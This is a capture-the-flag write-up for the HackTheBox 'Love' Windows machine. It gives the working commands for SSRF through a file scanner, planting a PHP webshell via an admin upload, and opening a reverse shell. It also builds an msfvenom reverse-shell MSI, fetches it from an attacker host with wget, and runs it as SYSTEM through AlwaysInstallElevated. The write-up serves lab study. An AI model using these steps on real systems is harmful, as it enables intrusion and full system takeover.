Skip to content
HackIndex.io

Love Writeup - HackTheBox

Easy Windows
HackTheBox Discuss on Discord
Mohammad Meraj

Independent Security Researcher

Love is a Windows box. The chain runs: nmap finds an SSL certificate leaking a staging subdomain, the staging site has a file scanner with SSRF, using SSRF to reach an internal port 5000 returns plaintext admin credentials for the voting system, the admin panel allows arbitrary file upload so a PHP webshell lands in the web root, and AlwaysInstallElevated registry keys set to 1 allow any MSI to run as SYSTEM.

Discovery

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p80,135,139,443,445,3306,5000 $TARGET_IP -oA nmap/nmap 
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
443/tcp  open  ssl/https?
| ssl-cert: Subject: commonName=staging.love.htb
445/tcp  open  microsoft-ds Windows 10 Pro 19042
3306/tcp open  mysql        MariaDB 10.3.24
5000/tcp open  http         Apache httpd 2.4.46
|_http-title: 403 Forbidden

The TLS certificate on port 443 exposes staging.love.htb. Port 5000 returns 403 externally. Add both vhosts to /etc/hosts.

SSRF via File Scanner

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://staging.love.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -e .php,.html -mc 200 
beta.php   [Status: 200, Size: 4997]

beta.php is a file scanner that accepts a URL and fetches its content. It makes requests from the server itself, meaning it can reach internal services that are blocked externally. Port 5000 returned 403 from outside. Reach it through the SSRF:

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://staging.love.htb/beta.php -d 'file=http://127.0.0.1:5000/' 
Vote Admin Creds admin: $PHOEBE_PASSWORD

Port 5000 serves a page with plaintext admin credentials for the voting system.

Foothold

PHP webshell via admin file upload

┌──(kali㉿kali)-[~]
└─$ # Login to http://love.htb/admin/ with admin:$PHOEBE_PASSWORD
┌──(kali㉿kali)-[~]
└─$ # Create a candidate and upload a PHP file as the candidate photo
┌──(kali㉿kali)-[~]
└─$ curl http://love.htb/images/shell.php?cmd=whoami 
love\phoebe

The admin panel accepts arbitrary files as candidate images and serves them from /images/. Code execution as phoebe. Trigger a reverse shell via a base64-encoded PowerShell payload:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 61647
PS C:\xampp\htdocs\omrs\images> whoami
love\phoebe

Shell as phoebe.

Privilege Escalation

AlwaysInstallElevated

PS C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
PS C:\Users\Guest\Desktop> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
AlwaysInstallElevated    REG_DWORD    0x1

AlwaysInstallElevated    REG_DWORD    0x1

Both HKLM and HKCU keys set to 1. Any MSI installed by any user runs as SYSTEM. Generate a malicious MSI, drop it in an AppLocker-allowed path, and install it:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o reverse.msi
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8000
PS C:\Users\Guest\Desktop> wget http://$ATTACKER_IP:8000/reverse.msi -O C:\Administration\reverse.msi
PS C:\Users\Guest\Desktop> msiexec /quiet /i C:\Administration\reverse.msi
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 61649
C:\WINDOWS\system32>whoami
nt authority\system

Related

SSRF Exploitation
Blog

SSRF Exploitation
SSRF Detection
Blog

SSRF Detection
File Upload Exploitation
Blog

File Upload Exploitation

Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validatio...
File Upload Validation Testing
Blog

File Upload Validation Testing

Tests server-side file upload controls for bypass vulnerabilities including MIME spoofing, extension...
AlwaysInstallElevated – MSI Installer Privilege Escalation
Blog

AlwaysInstallElevated – MSI Installer Privilege Escalation

Exploits misconfigured AlwaysInstallElevated registry keys to run malicious MSI packages with SYSTEM...
IIS ASPX Web Shell Upload
Blog

IIS ASPX Web Shell Upload

Exploit IIS misconfigurations to upload and execute ASPX web shells, gaining remote code execution o...

References